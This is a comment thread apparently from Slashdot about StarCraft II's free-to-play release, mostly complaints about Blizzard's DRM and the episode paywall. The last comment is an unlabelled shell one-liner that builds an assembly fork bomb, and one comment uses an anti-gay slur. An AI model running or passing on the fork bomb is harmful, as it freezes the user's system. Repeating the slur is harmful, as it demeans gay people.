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'Starcraft II' Goes Free-to-Play on Tuesday (techcrunch.com)
An anonymous reader quotes TechCrunch:
It was only in April that Blizzard made the original StarCraft free to play, and now the company has done the same for its sequel. StarCraft 2: Wings of Liberty, which is certainly the most-played real-time strategy game ever made, will be free for anyone to play starting on November 14. Of course there's a catch, but nothing nefarious. The game was divided into three episodes, each focusing on one of the three playable races (Human, Zerg and Protoss -- but you knew that), and only the first (the human one) will be available for free. If you already own Wings of Liberty (as the episode is called) you can also get the Heart of the Swarm chapter for free by logging in and claiming it before December 8.
TechCrunch calls it "a good way to onboard new players who just never wanted to pay full price to find out if they liked it."
TechCrunch calls it "a good way to onboard new players who just never wanted to pay full price to find out if they liked it."
Zerg rush! Zerg rush!
I'm in ur base killing ur doodz!
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
What if you supported Blizzard by paying for both "Wings of Liberty" and "Heart of the Swarm"? You get nothing?
#DeleteFacebook
At this point the only people that really want to play this game and are willing to put up with Blizzards intrusive DRM scheme have already bought the game. So why in the hell should I waste my time with a game that has a feature that's a non-starter to begin with?
Well now i'll never play it.
yeaaaaaah. right.
one race and one episide for 'free', with the *rest* of the game behind a paywall is more accurately described as a unlimited-duration (so long as they bother to support the authentication and matchmaking servers, anyway) 'free trial'.
I bought these two on clearance at Walmart not but a couple of months ago. I wonder if this is the reason. Of course Legacy of the void was full price, so I haven't bought that one yet
"When life gives you lemons, don't make lemonade. Make life take the lemons back!" -- Cave Johnson
> most-played real-time strategy game ever made
*citation needed*
Do I get the Nova episode for free or am I screwed because I was too loyal a Blizzard customer?
We no longer trust you as a company not to find some other way to fuck us after you get your "Claws" into us. NO THANKS!
It's an old idea in a new package, with a new name. Too bad it's still crap.
Nothing more than a demo that doesn't expire.
If it's not the entire game, then it's not a free game, it's crippleware or a demo.
What annoys me most is Slashdot freely advertising it for them.
The Blizzard End User License Agreement has all sorts of nuggets, like their Consent to Monitor: "... THE PLATFORM ... MAY MONITORY YOUR COMPUTER ... MEMORY FOR UNAUTHORIZED THIRD PARTY PROGRAMS ..."
What can go wrong?
I got it already on Friday. I live in the Netherlands.
I've been boycotting Blizzard ever since they used the DMCA to take down the bnetd project. Fifteen years later, they still haven't apologized. You shouldn't give them any of your money or attention.
Not free.
sigs are for fags
... there's nothing corporations won't steal if they believe they can get away with it.
Maybe things have changed, but what turned me off after initially playing maybe the first 6mos was mostly the playerbase, but also partly the gameplay just not being as rewarding and skill-based as SC1. Even into high Platinum I was still facing 75% cheese strats where you thwart it and they quit the game immediately. It just wasn't fun, and I didn't have the time to dedicate to the game to keep my ELO in Diamond as there was a certain level of atrophy or inflation to maintain your position on the ladder. The management also was rather "faux micro" ... it has the appearance of doing all this micromanagement, but it was really mindless busywork. In hindsight it reminds me of the inane APM in LoL to make up for archaic imprecise controls.
"Starcraft II is our secret weapon against Koreans. They'll sit in an internet cafe and play it for 100 hours straight and when they stand up they'll fucking DIE"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;